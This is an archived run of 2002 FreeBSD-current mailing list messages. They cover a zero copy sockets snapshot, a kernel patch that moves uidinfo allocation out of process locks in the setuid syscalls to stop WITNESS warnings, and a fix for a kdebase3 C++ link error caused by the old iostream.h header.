From: Bosko Milekic <bmilekic@unixdaemons.com>
To: "Kenneth D. Merry" <ken@kdm.org>
Cc: current@FreeBSD.ORG, net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020619004313.A29911@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020618223635.A98350@panzer.kdm.org>; from ken@kdm.org on Tue, Jun 18, 2002 at 10:36:36PM -0600
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Tue, Jun 18, 2002 at 10:36:36PM -0600, Kenneth D. Merry wrote:
> 
> I've released a new zero copy sockets snapshot, against -current from June
> 18th, 2002.
> 
> http://people.FreeBSD.org/~ken/zero_copy
> 
> The fixes that went into this snapshot:
> 
>  - Take mutex locking out of ti_attach(), it isn't really needed.
>    As long as we can assume that probes of successive ti(4) instances
>    happen sequentially, we'll be safe in doing this.  Thanks to John
>    Baldwin for pointing out the solution to that problem.  (The lock in
>    ti_attach() was causing all sorts of WITNESS warnings when
>    bus_setup_intr() was called.)
> 
>  - Added a new routine, vm_object_allocate_wait().  This is a variant of
>    vm_object_allocate() that allows the user to specify whether the
>    uma_zalloc() call inside vm_object_allocate_wait() is called with
>    M_WAITOK or M_NOWAIT.  This eliminates a WITNESS warning caused when
>    jumbo_vm_init() calls vm_object_allocate() with the jumbo lock held, and
>    potentially gives other callers the option of eliminating the mandatory
>    wait on the uma_zalloc() call.

  I think this problem was fixed in recent -CURRENT by JeffR.  Notably,
  the VM system should not allow itself to recurse on itself when called
  with M_NOWAIT.

>    (vm_object_allocate() now just calls vm_object_allocate_wait() with the
>    proper argument.)
> 
> With those fixes, plus several fixes that have gone into -current over the
> past week or so, the zero copy sockets code runs without any WITNESS
> warnings at all now.
> 
> Ken
> -- 
> Kenneth Merry
> ken@kdm.org
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-net" in the body of the message
> 

-- 
Bosko Milekic
bmilekic@unixdaemons.com
bmilekic@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 22: 7: 7 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id CA20C37B415; Tue, 18 Jun 2002 22:06:45 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5J56YP98626;
	Tue, 18 Jun 2002 23:06:34 -0600 (MDT)
	(envelope-from ken)
Date: Tue, 18 Jun 2002 23:06:34 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: current@FreeBSD.ORG, net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020618230634.A98564@panzer.kdm.org>
References: <20020618223635.A98350@panzer.kdm.org> <20020619004313.A29911@unixdaemons.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020619004313.A29911@unixdaemons.com>; from bmilekic@unixdaemons.com on Wed, Jun 19, 2002 at 12:43:13AM -0400
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 00:43:13 -0400, Bosko Milekic wrote:
> On Tue, Jun 18, 2002 at 10:36:36PM -0600, Kenneth D. Merry wrote:
> > 
> > I've released a new zero copy sockets snapshot, against -current from June
> > 18th, 2002.
> > 
> > http://people.FreeBSD.org/~ken/zero_copy
> > 
> > The fixes that went into this snapshot:
> > 
> >  - Take mutex locking out of ti_attach(), it isn't really needed.
> >    As long as we can assume that probes of successive ti(4) instances
> >    happen sequentially, we'll be safe in doing this.  Thanks to John
> >    Baldwin for pointing out the solution to that problem.  (The lock in
> >    ti_attach() was causing all sorts of WITNESS warnings when
> >    bus_setup_intr() was called.)
> > 
> >  - Added a new routine, vm_object_allocate_wait().  This is a variant of
> >    vm_object_allocate() that allows the user to specify whether the
> >    uma_zalloc() call inside vm_object_allocate_wait() is called with
> >    M_WAITOK or M_NOWAIT.  This eliminates a WITNESS warning caused when
> >    jumbo_vm_init() calls vm_object_allocate() with the jumbo lock held, and
> >    potentially gives other callers the option of eliminating the mandatory
> >    wait on the uma_zalloc() call.
> 
>   I think this problem was fixed in recent -CURRENT by JeffR.  Notably,
>   the VM system should not allow itself to recurse on itself when called
>   with M_NOWAIT.

A number of problems have been fixed, but I don't think this one would get
fixed by internal VM system changes:

vm_object_t
vm_object_allocate(objtype_t type, vm_size_t size)
{
	vm_object_t result;
 
	result = (vm_object_t) uma_zalloc(obj_zone, M_WAITOK);
	_vm_object_allocate(type, size, result);
 
	return (result);
}

uma_zalloc() is called with M_WAITOK unconditionally.

My solution:

vm_object_t
vm_object_allocate_wait(objtype_t type, vm_size_t size, int flags)
{
	vm_object_t result;

	result = (vm_object_t) uma_zalloc(obj_zone, flags);

	if (result != NULL)
		_vm_object_allocate(type, size, result);

	return (result);
}

vm_object_allocate() is implemented by calling vm_object_allocate_wait()
with M_WAITOK.

Ken
-- 
Kenneth Merry
ken@kdm.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 22:54:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from gw.catspoiler.org (217-ip-163.nccn.net [209.79.217.163])
	by hub.freebsd.org (Postfix) with ESMTP id A9BD937B400
	for <current@FreeBSD.ORG>; Tue, 18 Jun 2002 22:54:22 -0700 (PDT)
Received: from scratch.catspoiler.org (scratch.catspoiler.org [192.168.101.3])
	by gw.catspoiler.org (8.12.3/8.12.3) with ESMTP id g5J5sGM1064829;
	Tue, 18 Jun 2002 22:54:20 -0700 (PDT)
	(envelope-from dl-freebsd@catspoiler.org)
Message-Id: <200206190554.g5J5sGM1064829@gw.catspoiler.org>
Date: Tue, 18 Jun 2002 22:54:17 -0700 (PDT)
From: Don Lewis <dl-freebsd@catspoiler.org>
Subject: Re: Suggested fixes for uidinfo "would sleep" messages
To: bright@mu.org
Cc: nate@root.org, current@FreeBSD.ORG
In-Reply-To: <20020618194828.GC12139@elvis.mu.org>
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 18 Jun, Alfred Perlstein wrote:
> * Nate Lawson <nate@root.org> [020618 12:17] wrote:
>> As with others on the list, I've been getting a lot of witness complaints:
>> 
>> ../../../vm/uma_core.c:1327: could sleep with "process lock" locked from
>> ../../../kern/kern_prot.c:511
>> ../../../vm/uma_core.c:1327: could sleep with "process lock" locked from
>> ../../../kern/kern_prot.c:613
>> 
>> Basically, every time cron runs, it does a setuid() or seteuid(), which
>> calls change_ruid or change_euid which call uifree and uifind (which does
>> the malloc with M_WAITOK while holding PROC_LOCK).
> ...
>> Is anyone else working on a fix?
> 
> The code should not be holding proc locks over ui*() calls.

I finally got tired of seeing these messages.  Since I haven't seen
anybody post a patch, I bit the bullet and cranked one out.  It could
use some examination to make sure that the reference counts are handled
properly and there aren't any leaks.  I'm not terribly happy about
having to unhide the uidinfo stuff and expose it to the users of
change_{r,e}uid(), and I don't like allocating memory before checking
permissions, but it looks like the alternatives are worse.


Index: sys/alpha/osf1/osf1_misc.c
===================================================================
RCS file: /home/ncvs/src/sys/alpha/osf1/osf1_misc.c,v
retrieving revision 1.30
diff -u -r1.30 osf1_misc.c
--- sys/alpha/osf1/osf1_misc.c	13 Apr 2002 23:11:22 -0000	1.30
+++ sys/alpha/osf1/osf1_misc.c	18 Jun 2002 19:11:50 -0000
@@ -1056,17 +1056,20 @@
 	struct proc *p;
 	int error;
 	uid_t uid;
+	struct uidinfo *uip;
 	struct ucred *newcred, *oldcred;
 
 	p = td->td_proc;
 	uid = SCARG(uap, uid);
 	newcred = crget();
+	uip = uifind(uid);
 	PROC_LOCK(p);
 	oldcred = p->p_ucred;
 
 	if ((error = suser_cred(p->p_ucred, PRISON_ROOT)) != 0 &&
 	    uid != oldcred->cr_ruid && uid != oldcred->cr_svuid) {
 		PROC_UNLOCK(p);
+		uifree(uip);
 		crfree(newcred);
 		return (error);
 	}
@@ -1074,7 +1077,7 @@
 	crcopy(newcred, oldcred);
 	if (error == 0) {
 		if (uid != oldcred->cr_ruid) {
-			change_ruid(newcred, uid);
+			change_ruid(newcred, uip);
 			setsugid(p);
 		}
 		if (oldcred->cr_svuid != uid) {
@@ -1083,11 +1086,12 @@
 		}
 	}
 	if (newcred->cr_uid != uid) {
-		change_euid(newcred, uid);
+		change_euid(newcred, uip);
 		setsugid(p);
 	}
 	p->p_ucred = newcred;
 	PROC_UNLOCK(p);
+	uifree(uip);
 	crfree(oldcred);
 	return (0);
 }
Index: sys/kern/kern_exec.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/kern_exec.c,v
retrieving revision 1.164
diff -u -r1.164 kern_exec.c
--- sys/kern/kern_exec.c	7 Jun 2002 05:41:27 -0000	1.164
+++ sys/kern/kern_exec.c	18 Jun 2002 19:09:06 -0000
@@ -128,6 +128,7 @@
 	struct proc *p = td->td_proc;
 	struct nameidata nd, *ndp;
 	struct ucred *newcred = NULL, *oldcred;
+	struct uidinfo *euip;
 	register_t *stack_base;
 	int error, len, i;
 	struct image_params image_params, *imgp;
@@ -303,6 +304,7 @@
 	 * Malloc things before we need locks.
 	 */
 	newcred = crget();
+	euip = uifind(attr.va_uid);
 	i = imgp->endargs - imgp->stringbase;
 	if (ps_arg_cache_limit >= i + sizeof(struct pargs))
 		newargs = pargs_alloc(i);
@@ -390,7 +392,7 @@
 		 */
 		crcopy(newcred, oldcred);
 		if (attr.va_mode & VSUID)
-			change_euid(newcred, attr.va_uid);
+			change_euid(newcred, euip);
 		if (attr.va_mode & VSGID)
 			change_egid(newcred, attr.va_gid);
 		setugidsafety(td);
@@ -472,6 +474,7 @@
 	/*
 	 * Free any resources malloc'd earlier that we didn't use.
 	 */
+	uifree(euip);
 	if (newcred == NULL)
 		crfree(oldcred);
 	else
Index: sys/kern/kern_prot.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/kern_prot.c,v
retrieving revision 1.156
diff -u -r1.156 kern_prot.c
--- sys/kern/kern_prot.c	19 May 2002 00:14:48 -0000	1.156
+++ sys/kern/kern_prot.c	18 Jun 2002 18:50:01 -0000
@@ -503,11 +503,13 @@
 	struct proc *p = td->td_proc;
 	struct ucred *newcred, *oldcred;
 	uid_t uid;
+	struct uidinfo *uip;
 	int error;
 
 	mtx_lock(&Giant);
 	uid = uap->uid;
 	newcred = crget();
+	uip = uifind(uid);
 	PROC_LOCK(p);
 	oldcred = p->p_ucred;
 
@@ -537,11 +539,15 @@
 #endif
 	    (error = suser_cred(oldcred, PRISON_ROOT)) != 0) {
 		PROC_UNLOCK(p);
+		uifree(uip);
 		crfree(newcred);
 		mtx_unlock(&Giant);
 		return (error);
 	}
 
+	/*
+	 * Copy credentials so other references do not see our changes.
+	 */
 	crcopy(newcred, oldcred);
 #ifdef _POSIX_SAVED_IDS
 	/*
@@ -559,7 +565,7 @@
 		 * Set the real uid and transfer proc count to new user.
 		 */
 		if (uid != oldcred->cr_ruid) {
-			change_ruid(newcred, uid);
+			change_ruid(newcred, uip);
 			setsugid(p);
 		}
 		/*
@@ -577,14 +583,14 @@
 
 	/*
 	 * In all permitted cases, we are changing the euid.
-	 * Copy credentials so other references do not see our changes.
 	 */
 	if (uid != oldcred->cr_uid) {
-		change_euid(newcred, uid);
+		change_euid(newcred, uip);
 		setsugid(p);
 	}
 	p->p_ucred = newcred;
 	PROC_UNLOCK(p);
+	uifree(uip);
 	crfree(oldcred);
 	mtx_unlock(&Giant);
 	return (0);
@@ -605,17 +611,20 @@
 	struct proc *p = td->td_proc;
 	struct ucred *newcred, *oldcred;
 	uid_t euid;
+	struct uidinfo *euip;
 	int error;
 
 	euid = uap->euid;
 	mtx_lock(&Giant);
 	newcred = crget();
+	euip = uifind(euid);
 	PROC_LOCK(p);
 	oldcred = p->p_ucred;
 	if (euid != oldcred->cr_ruid &&		/* allow seteuid(getuid()) */
 	    euid != oldcred->cr_svuid &&	/* allow seteuid(saved uid) */
 	    (error = suser_cred(oldcred, PRISON_ROOT)) != 0) {
 		PROC_UNLOCK(p);
+		uifree(euip);
 		crfree(newcred);
 		mtx_unlock(&Giant);
 		return (error);
@@ -626,11 +635,12 @@
 	 */
 	crcopy(newcred, oldcred);
 	if (oldcred->cr_uid != euid) {
-		change_euid(newcred, euid);
+		change_euid(newcred, euip);
 		setsugid(p);
 	}
 	p->p_ucred = newcred;
 	PROC_UNLOCK(p);
+	uifree(euip);
 	crfree(oldcred);
 	mtx_unlock(&Giant);
 	return (0);
@@ -858,12 +868,15 @@
 	struct proc *p = td->td_proc;
 	struct ucred *newcred, *oldcred;
 	uid_t euid, ruid;
+	struct uidinfo *euip, *ruip;
 	int error;
 
 	euid = uap->euid;
 	ruid = uap->ruid;
 	mtx_lock(&Giant);
 	newcred = crget();
+	euip = uifind(euid);
+	ruip = uifind(ruid);
 	PROC_LOCK(p);
 	oldcred = p->p_ucred;
 	if (((ruid != (uid_t)-1 && ruid != oldcred->cr_ruid &&
@@ -872,17 +885,19 @@
 	      euid != oldcred->cr_ruid && euid != oldcred->cr_svuid)) &&
 	    (error = suser_cred(oldcred, PRISON_ROOT)) != 0) {
 		PROC_UNLOCK(p);
+		uifree(ruip);
+		uifree(euip);
 		crfree(newcred);
 		mtx_unlock(&Giant);
 		return (error);
 	}
 	crcopy(newcred, oldcred);
 	if (euid != (uid_t)-1 && oldcred->cr_uid != euid) {
-		change_euid(newcred, euid);
+		change_euid(newcred, euip);
 		setsugid(p);
 	}
 	if (ruid != (uid_t)-1 && oldcred->cr_ruid != ruid) {
-		change_ruid(newcred, ruid);
+		change_ruid(newcred, ruip);
 		setsugid(p);
 	}
 	if ((ruid != (uid_t)-1 || newcred->cr_uid != newcred->cr_ruid) &&
@@ -892,6 +907,8 @@
 	}
 	p->p_ucred = newcred;
 	PROC_UNLOCK(p);
+	uifree(ruip);
+	uifree(euip);
 	crfree(oldcred);
 	mtx_unlock(&Giant);
 	return (0);
@@ -975,6 +992,7 @@
 	struct proc *p = td->td_proc;
 	struct ucred *newcred, *oldcred;
 	uid_t euid, ruid, suid;
+	struct uidinfo *euip, *ruip;
 	int error;
 
 	euid = uap->euid;
@@ -982,6 +1000,8 @@
 	suid = uap->suid;
 	mtx_lock(&Giant);
 	newcred = crget();
+	euip = uifind(euid);
+	ruip = uifind(ruid);
 	PROC_LOCK(p);
 	oldcred = p->p_ucred;
 	if (((ruid != (uid_t)-1 && ruid != oldcred->cr_ruid &&
@@ -995,6 +1015,8 @@
 	      suid != oldcred->cr_uid)) &&
 	    (error = suser_cred(oldcred, PRISON_ROOT)) != 0) {
 		PROC_UNLOCK(p);
+		uifree(ruip);
+		uifree(euip);
 		crfree(newcred);
 		mtx_unlock(&Giant);
 		return (error);
@@ -1002,11 +1024,11 @@
 
 	crcopy(newcred, oldcred);
 	if (euid != (uid_t)-1 && oldcred->cr_uid != euid) {
-		change_euid(newcred, euid);
+		change_euid(newcred, euip);
 		setsugid(p);
 	}
 	if (ruid != (uid_t)-1 && oldcred->cr_ruid != ruid) {
-		change_ruid(newcred, ruid);
+		change_ruid(newcred, ruip);
 		setsugid(p);
 	}
 	if (suid != (uid_t)-1 && oldcred->cr_svuid != suid) {
@@ -1015,6 +1037,8 @@
 	}
 	p->p_ucred = newcred;
 	PROC_UNLOCK(p);
+	uifree(ruip);
+	uifree(euip);
 	crfree(oldcred);
 	mtx_unlock(&Giant);
 	return (0);
@@ -1874,12 +1898,13 @@
  *             duration of the call.
  */
 void
-change_euid(struct ucred *newcred, uid_t euid)
+change_euid(struct ucred *newcred, struct uidinfo *euip)
 {
 
-	newcred->cr_uid = euid;
+	newcred->cr_uid = euip->ui_uid;
+	uihold(euip);
 	uifree(newcred->cr_uidinfo);
-	newcred->cr_uidinfo = uifind(euid);
+	newcred->cr_uidinfo = euip;
 }
 
 /*-
@@ -1904,13 +1929,14 @@
  *             duration of the call.
  */
 void
-change_ruid(struct ucred *newcred, uid_t ruid)
+change_ruid(struct ucred *newcred, struct uidinfo *ruip)
 {
 
 	(void)chgproccnt(newcred->cr_ruidinfo, -1, 0);
-	newcred->cr_ruid = ruid;
+	newcred->cr_ruid = ruip->ui_uid;
+	uihold(ruip);
 	uifree(newcred->cr_ruidinfo);
-	newcred->cr_ruidinfo = uifind(ruid);
+	newcred->cr_ruidinfo = ruip;
 	(void)chgproccnt(newcred->cr_ruidinfo, 1, 0);
 }
 
Index: sys/sys/ucred.h
===================================================================
RCS file: /home/ncvs/src/sys/sys/ucred.h,v
retrieving revision 1.34
diff -u -r1.34 ucred.h
--- sys/sys/ucred.h	7 Apr 2002 03:59:31 -0000	1.34
+++ sys/sys/ucred.h	18 Jun 2002 18:50:31 -0000
@@ -85,9 +85,9 @@
 #endif
 void		cred_update_thread(struct thread *td);
 void		change_egid(struct ucred *newcred, gid_t egid);
-void		change_euid(struct ucred *newcred, uid_t euid);
+void		change_euid(struct ucred *newcred, struct uidinfo *euip);
 void		change_rgid(struct ucred *newcred, gid_t rgid);
-void		change_ruid(struct ucred *newcred, uid_t ruid);
+void		change_ruid(struct ucred *newcred, struct uidinfo *ruip);
 void		change_svgid(struct ucred *newcred, gid_t svgid);
 void		change_svuid(struct ucred *newcred, uid_t svuid);
 void		crcopy(struct ucred *dest, struct ucred *src);



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 22:58:44 2002
Delivered-To: freebsd-current@freebsd.org
Received: from angmar.mel.vet.com.au (angmar.mel.vet.com.au [203.39.245.7])
	by hub.freebsd.org (Postfix) with ESMTP id D449537B41D
	for <current@freebsd.org>; Tue, 18 Jun 2002 22:58:27 -0700 (PDT)
Received: from nargothrond.ca.com (nargothrond.ca.com [155.35.178.10])
	by angmar.mel.vet.com.au (Postfix) with ESMTP id 01A9914F303
	for <current@freebsd.org>; Wed, 19 Jun 2002 15:58:15 +1000 (EST)
Received: from ca.com ([155.35.178.101])
  by nargothrond.ca.com with esmtp; Wed, 19 Jun 2002 15:57:51 +1000
Message-ID: <3D101D73.607@ca.com>
Date: Wed, 19 Jun 2002 15:58:11 +1000
From: Lachlan O'Dea <odela01@ca.com>
Organization: Computer Associates
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: current@FreeBSD.ORG
Cc: Charlie Root <root@aldan.algebra.com>
Subject: Re: C++ troubles continue
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Charlie Root wrote:
> Trying to build kdebase3 on the
> 	FreeBSD 5.0-CURRENT #7: Mon Jun 17 22:46:16 EDT 2002
> 
> [...]
> gmake[4]: Nothing to be done for `all-am'.
> gmake[4]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps'
> gmake[3]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps'
> gmake[3]: Entering directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
> /bin/sh ../libtool --mode=link --tag=CXX c++  -DNDEBUG -DNO_DEBUG -O2 -O -march=i686 -pipe -fno-exceptions -fno-check-new -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST    -o kappfinder -L/opt/lib -pthread  -L/opt/lib -R /opt/lib -R /opt/lib -R /opt/lib -R /opt/lib main.o scanner.o checker.o kappfinder_meta_unload.o  -lkdeui 
> c++ -DNDEBUG -DNO_DEBUG -O2 -O -march=i686 -pipe -fno-exceptions -fno-check-new -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o kappfinder -pthread main.o scanner.o checker.o kappfinder_meta_unload.o  -L/opt/lib /opt/lib/libkdeui.so /opt/lib/libkdecore.so -L/usr/lib /opt/lib/libDCOP.so /opt/lib/libkdefx.so -lqt-mt -lpng -lz -lXext -lX11 -lSM -lICE -lXrender -lstdc++ -lm -lgcc -Wl,--rpath -Wl,/opt/lib -Wl,--rpath -Wl,/opt/lib
> checker.o: In function `checkDesktopFile(QString const&, QString)':
> checker.o(.text+0x536): undefined reference to `cout'
> checker.o(.text+0x543): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x575): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x585): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x6f1): undefined reference to `cout'
> checker.o(.text+0x6fe): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x706): undefined reference to `endl(ostream&)'
> checker.o(.text+0x7e1): undefined reference to `cout'
> checker.o(.text+0x7ea): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x7f2): undefined reference to `endl(ostream&)'
> gmake[3]: *** [kappfinder] Error 1
> gmake[3]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
> gmake[2]: *** [all-recursive] Error 1
> gmake[2]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
> gmake[1]: *** [all-recursive] Error 1
> gmake[1]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1'
> gmake: *** [all] Error 2
> *** Error code 2
> 
> Any clues? The /usr/lib/libstdc++.a has, for example:
> 
> 00000000 W std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)
> 00000000 B std::cout
> 00000000 B std::buf_cout
>          U std::cout
>          U std::buf_cout

I have the same problem exactly. All I could work out is that it's due 
to checker.cpp including the old-fashioned iostream.h instead of 
iostream. You can patch it to make it build easily enough...

--- checker.cpp.orig    Wed Jun 19 15:49:04 2002
+++ checker.cpp Wed Jun 19 15:49:19 2002
@@ -20,7 +20,9 @@

  #include <stdlib.h>
  #include <string.h>
-#include <iostream.h>
+#include <iostream>
+
+using namespace std;


  #include <qfile.h>

... but I doubt that's a good idea.

I haven't been able to find a library anywhere on my system that exports 
the symbols I get when including iostream.h. Perhaps my -current build 
is incomplete for some reason.

Here's an ultra-simple test case if it helps anyone:


fornost ~/tmp % cat test.cpp

#ifdef OLDE_STYLE
#include <iostream.h>

#else
#include <iostream>

using namespace std;
#endif

int main()
{

         cout << "Hello, world." << endl;

         return 0;
}
fornost ~/tmp % c++ -o test -Wall test.cpp
fornost ~/tmp % ./test
Hello, world.
fornost ~/tmp % c++ -o test -Wall -DOLDE_STYLE test.cpp
/var/tmp//ccjRtwx3.o: In function `main':
/var/tmp//ccjRtwx3.o(.text+0x14): undefined reference to `endl(ostream&)'
/var/tmp//ccjRtwx3.o(.text+0x21): undefined reference to `cout'
/var/tmp//ccjRtwx3.o(.text+0x26): undefined reference to 
`ostream::operator<<(char const*)'
/var/tmp//ccjRtwx3.o(.text+0x2f): undefined reference to 
`ostream::operator<<(ostream& (*)(ostream&))'

fornost ~/tmp % uname -a
FreeBSD fornost.ca.com 5.0-CURRENT FreeBSD 5.0-CURRENT #2: Wed Jun 12 
18:39:45 EST 2002 
odela01@fornost.ca.com:/usr/src/sys/i386/compile/FORNOST  i386

-- 
Lachlan O'Dea <lodea@vet.com.au>          Computer Associates Pty Ltd
Webmaster                                   Vet - Anti-Virus Software
http://www.vet.com.au/


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 23:40:47 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80])
	by hub.freebsd.org (Postfix) with ESMTP id 6717737B405
	for <current@freebsd.org>; Tue, 18 Jun 2002 23:40:34 -0700 (PDT)
Received: from fwd06.sul.t-online.de 
	by mailout01.sul.t-online.com with smtp 
	id 17KZ8o-0001wO-06; Wed, 19 Jun 2002 08:40:30 +0200
Received: from twoflower.liebende.de (320072111332-0001@[217.80.121.27]) by fmrl06.sul.t-online.com
	with esmtp id 17KZ8V-0qHUWGC; Wed, 19 Jun 2002 08:40:11 +0200
Subject: Re: C++ troubles continue
From: Jan Stocker <jstocker@tzi.de>
Reply-To: jstocker@tzi.de
To: Charlie Root <root@aldan.algebra.com>
Cc: current@FreeBSD.ORG
In-Reply-To: <200206190212.g5J2CJ6q093342@aldan.algebra.com>
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 19 Jun 2002 08:38:41 +0200
Message-Id: <1024468722.1145.1.camel@twoflower>
Mime-Version: 1.0
X-Sender: 320072111332-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Do you have cleaned your /usr/include/g++ directory from old gcc files?

Jan

On Wed, 2002-06-19 at 04:12, Charlie Root wrote:
> Trying to build kdebase3 on the
> 	FreeBSD 5.0-CURRENT #7: Mon Jun 17 22:46:16 EDT 2002
> 
> [...]
> gmake[4]: Nothing to be done for `all-am'.
> gmake[4]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps'
> gmake[3]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps'
> gmake[3]: Entering directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
> /bin/sh ../libtool --mode=link --tag=CXX c++  -DNDEBUG -DNO_DEBUG -O2 -O -march=i686 -pipe -fno-exceptions -fno-check-new -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST    -o kappfinder -L/opt/lib -pthread  -L/opt/lib -R /opt/lib -R /opt/lib -R /opt/lib -R /opt/lib main.o scanner.o checker.o kappfinder_meta_unload.o  -lkdeui 
> c++ -DNDEBUG -DNO_DEBUG -O2 -O -march=i686 -pipe -fno-exceptions -fno-check-new -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o kappfinder -pthread main.o scanner.o checker.o kappfinder_meta_unload.o  -L/opt/lib /opt/lib/libkdeui.so /opt/lib/libkdecore.so -L/usr/lib /opt/lib/libDCOP.so /opt/lib/libkdefx.so -lqt-mt -lpng -lz -lXext -lX11 -lSM -lICE -lXrender -lstdc++ -lm -lgcc -Wl,--rpath -Wl,/opt/lib -Wl,--rpath -Wl,/opt/lib
> checker.o: In function `checkDesktopFile(QString const&, QString)':
> checker.o(.text+0x536): undefined reference to `cout'
> checker.o(.text+0x543): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x575): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x585): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x6f1): undefined reference to `cout'
> checker.o(.text+0x6fe): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x706): undefined reference to `endl(ostream&)'
> checker.o(.text+0x7e1): undefined reference to `cout'
> checker.o(.text+0x7ea): undefined reference to `ostream::operator<<(char const*)'
> checker.o(.text+0x7f2): undefined reference to `endl(ostream&)'
